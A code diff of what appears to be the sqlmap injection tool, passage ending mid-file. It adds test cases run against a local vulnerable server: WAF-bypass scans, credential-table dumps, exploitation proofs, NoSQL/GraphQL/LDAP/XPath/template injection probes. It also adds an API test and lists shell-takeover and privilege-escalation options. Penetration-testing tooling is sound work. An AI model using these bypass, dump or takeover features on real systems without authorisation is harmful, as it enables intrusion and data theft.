+        ("-u <url> --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")),   # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold
+        ("-u <url> --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")),   # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does
+        ("-u <url> --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")),   # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat
+        ("-u <url> -p id --flush-session --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")),   # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof
         ("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")),
         ("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")),
-        ("-l <log> --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
+        ("-l <log> --flush-session --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
         ("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
         ("-u <base> --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
         ("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --banner --technique=B", ("banner: '3.",)),
@@ -70,8 +86,14 @@ def vulnTest():
         ("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")),
         ("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
         ("-u <url> --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
+        ("-u <url> --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")),   # keyset/seek dump via the SQLite rowid cursor
         ("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")),
         ("-u \"<url>&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)),
+        ("-u \"<base>nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")),   # NoSQL (MongoDB) operator-injection detection + blind regexp extraction
+        ("-u \"<base>graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")),   # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed)
+        ("-u \"<base>ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")),   # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing
+        ("-u \"<base>xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")),   # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction
+        ("-u \"<base>ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")),   # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe
         ("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
         ("-d \"<direct>\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")),
         ("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)),
@@ -79,6 +101,34 @@ def vulnTest():
         ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
     )
 
+    # The vulnserver's XPath endpoint renders with lxml and its SSTI endpoint with jinja2; where those
+    # optional third-party engines are not importable (e.g. PyPy 2.7, which has no lxml wheel), skip
+    # just those entries instead of failing the whole run - the rest of the suite is unaffected.
+    try:
+        __import__("lxml")
+    except ImportError:
+        TESTS = tuple(_ for _ in TESTS if "--xpath" not in _[0])
+        logger.warning("skipping the XPath vuln-test entry ('lxml' not available)")
+    try:
+        __import__("jinja2")
+    except ImportError:
+        TESTS = tuple(_ for _ in TESTS if "--ssti" not in _[0])
+        logger.warning("skipping the SSTI vuln-test entry ('jinja2' not available)")
+
+    # --test-filter / --test-skip narrow a (slow) full run to just the entries touching a change:
+    # the needle is matched case-insensitively against each entry's command line and its expected
+    # checks (e.g. '--vuln-test --test-filter=ssti' runs only the SSTI entry).
+    def _entryMatches(entry, needle):
+        needle = needle.lower()
+        return needle in entry[0].lower() or any(needle in getText(_).lower() for _ in entry[1])
+
+    if conf.get("testFilter"):
+        TESTS = tuple(_ for _ in TESTS if _entryMatches(_, conf.testFilter))
+        logger.info("'--test-filter' selected %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies"))
+    if conf.get("testSkip"):
+        TESTS = tuple(_ for _ in TESTS if not _entryMatches(_, conf.testSkip))
+        logger.info("'--test-skip' left %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies"))
+
     retVal = True
     count = 0
     cleanups = []
@@ -197,8 +247,11 @@ def vulnTest():
         if "<tmpfile>" in cmd:
             handle, tmp = tempfile.mkstemp()
             os.close(handle)
+            cleanups.append(tmp)
             cmd = cmd.replace("<tmpfile>", tmp)
 
+        os.environ["SQLMAP_UNSAFE_EVAL"] = '1'
+
         output = shellExec(cmd)
 
         if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
@@ -220,6 +273,161 @@ def vulnTest():
         except:
             pass
 
+    try:
+        shutil.rmtree(tmpdir)
+    except:
+        pass
+
+    return retVal
+
+def apiTest():
+    """
+    Runs a basic live test of the REST API: launches the server in a separate process
+    ('sqlmapapi.py -s') and drives the control-plane endpoints with an HTTP client - a real
+    server + client round-trip, without launching an actual scan. A separate process (rather
+    than an in-process thread) isolates the single-threaded server from the client's GIL and
+    from sqlmap's global HTTP machinery, which otherwise makes the round-trip flaky.
+    """
+
+    retVal = True
+
+    # pick a free port the same way vulnTest() does
+    while True:
+        address, port = "127.0.0.1", random.randint(10000, 65535)
+        try:
+            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            if s.connect_ex((address, port)):
+                break
+            else:
+                time.sleep(1)
+        finally:
+            s.close()
+
+    username, password = "test", "test"
+    apipath = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmapapi.py"))
+
+    try:
+        devnull = subprocess.DEVNULL
+    except AttributeError:
+        devnull = open(os.devnull, "wb")
+
+    process = subprocess.Popen([sys.executable, apipath, "-s", "-H", address, "-p", str(port), "--username", username, "--password", password], stdout=devnull, stderr=devnull)
+
+    base = "http://%s:%d" % (address, port)
+
+    def _call(path, data=None, authorize=True):
+        # NOTE: a raw socket is used deliberately instead of urllib/http.client. The host sqlmap
+        # process installs a global keep-alive opener and patches http.client, which makes a
+        # library client flaky against the single-threaded server; a hand-rolled HTTP/1.0 request
+        # (Connection: close, read to EOF) is hermetic and immune to all of that.
+        method = "POST" if data is not None else "GET"
+        lines = ["%s %s HTTP/1.0" % (method, path), "Host: %s:%d" % (address, port)]
+        if authorize:
+            lines.append("Authorization: Basic %s" % encodeBase64("%s:%s" % (username, password), binary=False))
+        body = getBytes(json.dumps(data)) if data is not None else b""
+        if data is not None:
+            lines.append("Content-Type: application/json")
+            lines.append("Content-Length: %d" % len(body))
+        lines.append("Connection: close")
+        request = getBytes("\r\n".join(lines) + "\r\n\r\n") + body
+
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        s.settimeout(10)
+        try:
+            s.connect((address, port))
+            s.sendall(request)
+            raw = b""
+            while True:
+                chunk = s.recv(8192)
+                if not chunk:
+                    break
+                raw += chunk
+        except Exception as ex:
+            logger.debug("API test: request to '%s' failed (%s)" % (path, getSafeExString(ex)))
+            return None, None
+        finally:
+            s.close()
+
+        head, _, payload = raw.partition(b"\r\n\r\n")
+        try:
+            code = int(head.split(b"\r\n")[0].split(b" ")[1])
+        except (IndexError, ValueError):
+            return None, None
+        try:
+            return code, json.loads(getText(payload))
+        except ValueError:
+            return code, None
+
+    try:
+        # wait for the server process to come up (or die trying)
+        for _ in xrange(200):
+            if process.poll() is not None:
+                logger.error("API test: server process exited prematurely (address: '%s')" % base)
+                return False
+            code, data = _call("/version")
+            if code == 200 and data and data.get("success"):
+                break
+            time.sleep(0.1)
+        else:
+            logger.error("API test: server did not come up (address: '%s')" % base)
+            return False
+
+        logger.info("REST API server running at '%s'..." % base)
+
+        results = []
+
+        def _check(name, condition):
+            results.append((name, bool(condition)))
+            if not condition:
+                logger.error("API test: check '%s' FAILED" % name)
+
+        # GET /version - success envelope + MAJOR-only integer api_version
+        code, data = _call("/version")
+        _check("version", code == 200 and data and data.get("success") is True and data.get("api_version") == int(RESTAPI_VERSION.split(".")[0]) and data.get("version"))
+
+        # the auth hook must reject an unauthenticated request
+        code, _ = _call("/version", authorize=False)
+        _check("auth-401", code == 401)
+
+        # GET /task/new - mint a task
+        code, data = _call("/task/new")
+        taskid = data.get("taskid") if data else None
+        _check("task-new", code == 200 and data and data.get("success") and taskid)
+
+        # POST /option/<taskid>/set then read it back via /get and /list (JSON round-trip + IPC)
+        code, data = _call("/option/%s/set" % taskid, {"flushSession": True})
+        _check("option-set", code == 200 and data and data.get("success"))
+
+        code, data = _call("/option/%s/get" % taskid, ["flushSession"])
+        _check("option-get", data and data.get("success") and (data.get("options") or {}).get("flushSession") is True)
+
+        code, data = _call("/option/%s/list" % taskid)
+        _check("option-list", data and data.get("success") and isinstance(data.get("options"), dict))
+
+        # GET /admin/list - the IP-bound listing (our client is the task's creator) must see it
+        code, data = _call("/admin/list")
+        _check("admin-list", data and data.get("success") and taskid in (data.get("tasks") or {}))
+
+        # a bogus task ID must produce a failure envelope (not a crash)
+        code, data = _call("/option/%s/list" % "nonexistent")
+        _check("invalid-task", data is not None and data.get("success") is False)
+
+        # GET /task/<taskid>/delete - tear the task down
+        code, data = _call("/task/%s/delete" % taskid)
+        _check("task-delete", data and data.get("success"))
+
+        if all(ok for _, ok in results):
+            logger.info("API test final result: PASSED")
+        else:
+            retVal = False
+            logger.error("API test final result: FAILED (%s)" % ", ".join(name for name, ok in results if not ok))
+    finally:
+        try:
+            process.terminate()
+            process.wait()
+        except Exception:
+            pass
+
     return retVal
 
 def smokeTest():
@@ -244,7 +452,7 @@ def smokeTest():
     count, length = 0, 0
 
     for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
-        if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
+        if any(_ in root for _ in ("thirdparty", "extra", "interbase", "tests")):
             continue
 
         for filename in files:
@@ -252,7 +460,7 @@ def smokeTest():
                 length += 1
 
     for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
-        if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
+        if any(_ in root for _ in ("thirdparty", "extra", "interbase", "tests")):
             continue
 
         for filename in files:

lib/core/threads.py

@@ -27,7 +27,6 @@ from lib.core.exception import SqlmapThreadException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.exception import SqlmapValueException
 from lib.core.settings import MAX_NUMBER_OF_THREADS
-from lib.core.settings import PYVERSION
 
 shared = AttribDict()
 
@@ -93,7 +92,7 @@ def getCurrentThreadName():
     Returns current's thread name
     """
 
-    return threading.current_thread().getName()
+    return threading.current_thread().name
 
 def exceptionHandledFunction(threadFunction, silent=False):
     try:
@@ -107,17 +106,14 @@ def exceptionHandledFunction(threadFunction, silent=False):
 
         if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)):
             errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
-            logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
+            logger.error("thread %s: '%s'" % (threading.current_thread().name, errMsg))
 
             if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException):
                 traceback.print_exc()
 
 def setDaemon(thread):
     # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
-    if PYVERSION >= "2.6":
-        thread.daemon = True
-    else:
-        thread.setDaemon(True)
+    thread.daemon = True
 
 def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True):
     threads = []
@@ -213,7 +209,14 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
         if numThreads > 1:
             logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else ""))
         try:
-            while threading.active_count() > 1:
+            while True:
+                alive = False
+                for thread in threads:
+                    if thread.is_alive():
+                        alive = True
+                        break
+                if not alive:
+                    break
                 time.sleep(0.1)
 
         except KeyboardInterrupt:
@@ -226,7 +229,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
     except (SqlmapConnectionException, SqlmapValueException) as ex:
         print()
         kb.threadException = True
-        logger.error("thread %s: '%s'" % (threading.currentThread().getName(), ex))
+        logger.error("thread %s: '%s'" % (threading.current_thread().name, ex))
 
         if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException):
             traceback.print_exc()
@@ -242,7 +245,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
 
                 kb.threadException = True
                 errMsg = unhandledExceptionMessage()
-                logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg))
+                logger.error("thread %s: %s" % (threading.current_thread().name, errMsg))
                 traceback.print_exc()
 
     finally:

lib/core/update.py

@@ -18,7 +18,6 @@ from lib.core.common import extractRegexResult
 from lib.core.common import getLatestRevision
 from lib.core.common import getSafeExString
 from lib.core.common import openFile
-from lib.core.common import pollProcess
 from lib.core.common import readInput
 from lib.core.convert import getText
 from lib.core.data import conf
@@ -51,7 +50,6 @@ def update():
         output = ""
         try:
             process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
-            pollProcess(process, True)
             output, _ = process.communicate()
             success = not process.returncode
         except Exception as ex:
@@ -138,7 +136,6 @@ def update():
         output = ""
         try:
             process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
-            pollProcess(process, True)
             output, _ = process.communicate()
             success = not process.returncode
         except Exception as ex:

lib/core/wordlist.py

@@ -87,8 +87,10 @@ class Wordlist(six.Iterator):
                 errMsg += "sure that you haven't made any changes to it"
                 raise SqlmapInstallationException(errMsg)
             except StopIteration:
-                self.adjust()
-                retVal = next(self.iter).rstrip()
+                if self.index > len(self.filenames):  # Note: no more sources (filenames + custom) to switch to
+                    raise
+                self.adjust()  # Note: switch to the next source and retry (gracefully skipping empty ones)
+                continue
             if not self.proc_count or self.counter % self.proc_count == self.proc_id:
                 break
         return retVal

lib/parse/cmdline.py

@@ -133,7 +133,7 @@ def cmdLineParser(argv=None):
             help="Parse target(s) from Burp or WebScarab proxy log file")
 
         target.add_argument("-m", dest="bulkFile",
-            help="Scan multiple targets given in a textual file ")
+            help="Scan multiple targets given in a textual file")
 
         target.add_argument("-r", dest="requestFile",
             help="Load HTTP request from a file")
@@ -315,8 +315,9 @@ def cmdLineParser(argv=None):
         optimization.add_argument("--predict-output", dest="predictOutput", action="store_true",
             help="Predict common queries output")
 
-        optimization.add_argument("--keep-alive", dest="keepAlive", action="store_true",
-            help="Use persistent HTTP(s) connections")
+        # Note: persistent (Keep-Alive) connections are used by default; this opts out
+        optimization.add_argument("--no-keep-alive", dest="noKeepAlive", action="store_true",
+            help="Disable persistent HTTP(s) connections (Keep-Alive)")
 
         optimization.add_argument("--null-connection", dest="nullConnection", action="store_true",
             help="Retrieve page length without actual HTTP response body")
@@ -334,7 +335,7 @@ def cmdLineParser(argv=None):
             help="Skip testing for given parameter(s)")
 
         injection.add_argument("--skip-static", dest="skipStatic", action="store_true",
-            help="Skip testing parameters that not appear to be dynamic")
+            help="Skip testing parameters that do not appear to be dynamic")
 
         injection.add_argument("--param-exclude", dest="paramExclude",
             help="Regexp to exclude parameters from testing (e.g. \"ses\")")
@@ -375,6 +376,9 @@ def cmdLineParser(argv=None):
         injection.add_argument("--tamper", dest="tamper",
             help="Use given script(s) for tampering injection data")
 
+        injection.add_argument("--proof", dest="proof", action="store_true",
+            help="Prove exploitation of the detected injection point(s)")
+
         # Detection options
         detection = parser.add_argument_group("Detection", "These options can be used to customize the detection phase")
 
@@ -439,7 +443,7 @@ def cmdLineParser(argv=None):
             help="Load second-order HTTP request from file")
 
         # Fingerprint options
-        fingerprint = parser.add_argument_group("Fingerprint")
+        fingerprint = parser.add_argument_group("Fingerprint", "These options can be used to perform a back-end database management system version fingerprint")
 
         fingerprint.add_argument("-f", "--fingerprint", dest="extensiveFp", action="store_true",
             help="Perform an extensive DBMS version fingerprint")
@@ -496,7 +500,7 @@ def cmdLineParser(argv=None):
             help="Dump DBMS database table entries")
 
         enumeration.add_argument("--dump-all", dest="dumpAll", action="store_true",
-            help="Dump all DBMS databases tables entries")
+            help="Dump entries of all DBMS database tables")
 
         enumeration.add_argument("--search", dest="search", action="store_true",
             help="Search column(s), table(s) and/or database name(s)")
@@ -507,6 +511,9 @@ def cmdLineParser(argv=None):
         enumeration.add_argument("--statements", dest="getStatements", action="store_true",
             help="Retrieve SQL statements being run on DBMS")
 
+        enumeration.add_argument("--procs", dest="getProcs", action="store_true",
+            help="Retrieve stored procedures/functions and their source")
+
         enumeration.add_argument("-D", dest="db",
             help="DBMS database to enumerate")
 
@@ -598,11 +605,10 @@ def cmdLineParser(argv=None):
             help="Prompt for an OOB shell, Meterpreter or VNC")
 
         takeover.add_argument("--os-smbrelay", dest="osSmb", action="store_true",
-            help="One click prompt for an OOB shell, Meterpreter or VNC")
+            help="One-click prompt for an OOB shell, Meterpreter or VNC")
 
         takeover.add_argument("--os-bof", dest="osBof", action="store_true",
-            help="Stored procedure buffer overflow "
-                                 "exploitation")
+            help="Stored procedure buffer overflow exploitation")
 
         takeover.add_argument("--priv-esc", dest="privEsc", action="store_true",
             help="Database process user privilege escalation")
@@ -686,7 +692,7 @@ def cmdLineParser(argv=None):
             help="Store dumped data to a custom file")
 
         general.add_argument("--dump-format", dest="dumpFormat",
-            help="Format of dumped data (CSV (default), HTML or SQLITE)")
+            help="Dump data format (CSV (default), HTML, SQLITE, JSONL)")
 
         general.add_argument("--encoding", dest="encoding",
             help="Character encoding used for data retrieval (e.g. GBK)")
@@ -727,6 +733,9 @@ def cmdLineParser(argv=None):
         general.add_argument("--repair", dest="repair", action="store_true",
             help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)
 
+        general.add_argument("--report-json", dest="reportJson",
+            help="Store run results to a JSON file")
+
         general.add_argument("--save", dest="saveConfig",
             help="Save options to a configuration INI file")
 
@@ -757,6 +766,24 @@ def cmdLineParser(argv=None):
         general.add_argument("--web-root", dest="webRoot",
             help="Web server document root directory (e.g. \"/var/www\")")
 
+        # Non-SQL injection options
+        nonsql = parser.add_argument_group("Non-SQL injection", "These options can be used to test for non-SQL injection types")
+
+        nonsql.add_argument("--graphql", dest="graphql", action="store_true",
+            help="Test for GraphQL injection")
+
+        nonsql.add_argument("--ldap", dest="ldap", action="store_true",
+            help="Test for LDAP injection")
+
+        nonsql.add_argument("--nosql", dest="nosql", action="store_true",
+            help="Test for NoSQL injection")
+
+        nonsql.add_argument("--xpath", dest="xpath", action="store_true",
+            help="Test for XPath injection")
+
+        nonsql.add_argument("--ssti", dest="ssti", action="store_true",
+            help="Test for server-side template injection")
+
         # Miscellaneous options
         miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category")
 
@@ -779,7 +806,7 @@ def cmdLineParser(argv=None):
             help="Disable hash analysis on table dumps")
 
         miscellaneous.add_argument("--gui", dest="gui", action="store_true",
-            help="Experimental Tkinter GUI")
+            help="Graphical user interface (Tkinter)")
 
         miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true",
             help="Display list of available tamper scripts")
@@ -806,7 +833,7 @@ def cmdLineParser(argv=None):
             help="Local directory for storing temporary files")
 
         miscellaneous.add_argument("--tui", dest="tui", action="store_true",
-            help="Experimental ncurses TUI")
+            help="Textual user interface (ncurses)")
 
         miscellaneous.add_argument("--unstable", dest="unstable", action="store_true",
             help="Adjust options for unstable connections")
@@ -842,6 +869,9 @@ def cmdLineParser(argv=None):
         parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true",
             help=SUPPRESS)
 
+        parser.add_argument("--no-huffman", dest="noHuffman", action="store_true",
+            help=SUPPRESS)  # "Disable adaptive (Huffman) set-membership retrieval used by default to speed up blind table dumps"
+
         parser.add_argument("--profile", dest="profile", action="store_true",
             help=SUPPRESS)
 
@@ -860,18 +890,31 @@ def cmdLineParser(argv=None):
         parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
             help=SUPPRESS)
 
+        # Experimental: dump table rows via keyset (seek) pagination on a detected indexed
+        # primary key instead of ORDER BY ... LIMIT/OFFSET (much cheaper on huge tables).
+        # --keyset forces it for any table size; --no-keyset disables it (incl. the automatic
+        # use on large tables), falling back to the plain LIMIT/OFFSET dump.
+        parser.add_argument("--keyset", dest="keyset", action="store_true",
+            help=SUPPRESS)
+
+        parser.add_argument("--no-keyset", dest="noKeyset", action="store_true",
+            help=SUPPRESS)
+
         parser.add_argument("--ignore-stdin", dest="ignoreStdin", action="store_true",
             help=SUPPRESS)
 
         parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true",
             help=SUPPRESS)
 
-        parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
+        parser.add_argument("--smoke-test", "--doc-test", dest="smokeTest", action="store_true",
             help=SUPPRESS)
 
         parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
             help=SUPPRESS)
 
+        parser.add_argument("--api-test", dest="apiTest", action="store_true",
+            help=SUPPRESS)
+
         parser.add_argument("--disable-json", dest="disableJson", action="store_true",
             help=SUPPRESS)
 
@@ -1126,7 +1169,7 @@ def cmdLineParser(argv=None):
         else:
             args.stdinPipe = None
 
-        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
+        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
             errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). "
             errMsg += "Use -h for basic and -hh for advanced help\n"
             parser.error(errMsg)

lib/parse/html.py

@@ -27,11 +27,11 @@ class HTMLHandler(ContentHandler):
 
         self._dbms = None
         self._page = (page or "")
+        self._urldecodedPage = urldecode(self._page)
         try:
-            self._lower_page = self._page.lower()
+            self._lowerPage = self._urldecodedPage.lower()  # Note: keyword pre-filter must match the page that re.search() runs on (the URL-decoded one)
         except SystemError:  # https://bugs.python.org/issue18183
-            self._lower_page = None
-        self._urldecoded_page = urldecode(self._page)
+            self._lowerPage = None
 
         self.dbms = None
 
@@ -53,7 +53,7 @@ class HTMLHandler(ContentHandler):
                 keywords = sorted(keywords, key=len)
                 kb.cache.regex[regexp] = keywords[-1].lower()
 
-            if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I):
+            if ('|' in regexp or kb.cache.regex[regexp] in (self._lowerPage or kb.cache.regex[regexp])) and re.search(regexp, self._urldecodedPage, re.I):
                 self.dbms = self._dbms
                 self._markAsErrorPage()
                 kb.forkNote = kb.forkNote or attrs.get("fork")

lib/parse/sitemap.py

@@ -41,7 +41,7 @@ def parseSitemap(url, retVal=None, visited=None):
             raise SqlmapSyntaxException(errMsg)
 
         if content:
-            content = re.sub(r"", "", content, flags=re.DOTALL)
+            content = re.sub(r"<!--.*?-->", "", content, flags=re.DOTALL)  # Note: strip (possibly multi-line) XML comments so commented-out <loc> entries aren't harvested
 
             for match in re.finditer(r"<\w*?loc[^>]*>\s*([^<]+)", content, re.I):
                 if abortedFlag:

lib/request/basic.py

@@ -235,13 +235,13 @@ def checkCharEncoding(encoding, warn=True):
     # Reference: http://docs.python.org/library/codecs.html
     try:
         codecs.lookup(encoding)
-    except:
+    except LookupError:
         encoding = None
 
     if encoding:
         try:
             six.text_type(getBytes(randomStr()), encoding)
-        except:
+        except (UnicodeDecodeError, LookupError):
             if warn:
                 warnMsg = "invalid web page charset '%s'" % encoding
                 singleTimeLogMessage(warnMsg, logging.WARN, encoding)
@@ -258,10 +258,11 @@ def getHeuristicCharEncoding(page):
 
     >>> getHeuristicCharEncoding(b"<html></html>")
     'ascii'
+    >>> getHeuristicCharEncoding(b'<!DOCTYPE html><html><head><meta charset="windows-1251"><title>\\xd2\\xe5\\xf1\\xf2</title></head><body>\\xc2 \\xf1\\xee\\xee\\xf2\\xe2\\xe5\\xf2\\xf1\\xf2\\xe2\\xe8\\xe8 \\xf1 \\xef\\xf0\\xe8\\xed\\xf6\\xe8\\xef\\xe0\\xec\\xe8 \\xf0\\xe0\\xe1\\xee\\xf2\\xfb \\xf3\\xf2\\xe8\\xeb\\xe8\\xf2\\xfb \\xe0\\xe2\\xf2\\xee\\xec\\xe0\\xf2\\xe8\\xf7\\xe5\\xf1\\xea\\xee\\xe3\\xee \\xee\\xef\\xf0\\xe5\\xe4\\xe5\\xeb\\xe5\\xed\\xe8\\xff \\xea\\xee\\xe4\\xe8\\xf0\\xee\\xe2\\xea\\xe8, \\xed\\xe0\\xec \\xf2\\xf0\\xe5\\xe1\\xf3\\xe5\\xf2\\xf1\\xff \\xef\\xf0\\xe5\\xe4\\xee\\xf1\\xf2\\xe0\\xe2\\xe8\\xf2\\xfc \\xe7\\xed\\xe0\\xf7\\xe8\\xf2\\xe5\\xeb\\xfc\\xed\\xee \\xe1\\xee\\xeb\\xe5\\xe5 \\xe4\\xeb\\xe8\\xed\\xed\\xfb\\xe9 \\xf4\\xf0\\xe0\\xe3\\xec\\xe5\\xed\\xf2 \\xf2\\xe5\\xea\\xf1\\xf2\\xe0 \\xed\\xe0 \\xf0\\xf3\\xf1\\xf1\\xea\\xee\\xec \\xff\\xe7\\xfb\\xea\\xe5. \\xdd\\xf2\\xee \\xed\\xe5\\xee\\xb1\\xf5\\xee\\xe4\\xe8\\xec\\xee \\xe4\\xeb\\xff \\xf2\\xee\\xe3\\xee, \\xf7\\xf2\\xee\\xf1\\xfb \\xf1\\xf2\\xe0\\xf2\\xe8\\xf1\\xf2\\xe8\\xf7\\xe5\\xf1\\xea\\xe8\\xe9 \\xe0\\xed\\xe0\\xeb\\xe8\\xe7\\xe0\\xf2\\xee\\xf0 \\xf7\\xe0\\xf1\\xf2\\xee\\xf2\\xed\\xee\\xf1\\xf2\\xe8 \\xf1\\xe8\\xec\\xe2\\xee\\xeb\\xee\\xe2 \\xe8 \\xe4\\xe2\\xf3\\xf5\\xe1\\xf3\\xea\\xe2\\xe5\\xed\\xed\\xfb\\xf5 \\xf1\\xee\\xf7\\xe5\\xf2\\xe0\\xed\\xe8\\xb9 \\xf1\\xec\\xee\\xe3 \\xf1 \\xe2\\xfb\\xf1\\xee\\xea\\xee\\xb9 \\xf1\\xf2\\xe5\\xef\\xe5\\xed\\xfc\\xf2 \\xf3\\xe2\\xe5\\xf0\\xe5\\xed\\xed\\xee\\xf1\\xf2\\xe8 